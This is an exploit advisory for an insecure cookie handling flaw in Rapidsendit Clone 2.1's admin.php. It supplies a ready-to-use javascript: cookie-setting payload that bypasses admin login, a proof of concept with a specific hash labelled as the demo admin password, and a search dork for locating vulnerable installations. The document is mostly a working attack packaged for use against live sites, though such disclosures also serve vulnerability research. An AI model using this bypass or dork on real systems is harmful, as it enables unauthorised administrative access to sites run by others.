[o] Rapidsendit Clone 2.1 Insecure Cookie Handling Vulnerability
Software : Rapidsendit Clone version 2.1
Vendor : http://www.rapidsendit.com/
Demo : http://www.rapidsendit.com/script/demo.html
Author : NoGe
[o] Vulnerable file
admin.php
[o] Exploit
http://localhost/[path]/admin.php
javascript:document.cookie="logged=[md5_password_hash]; path=/";
[o] Proof Of Concept
http://www.rapidsendit.com/script/demo/admin.php
replace url above with this javascript
javascript:document.cookie="logged=696d29e0940a4957748fe3fc9efd22a3; path=/";
696d29e0940a4957748fe3fc9efd22a3 = admin password
[o] Dork
"Powered By Rapidsendit Clone"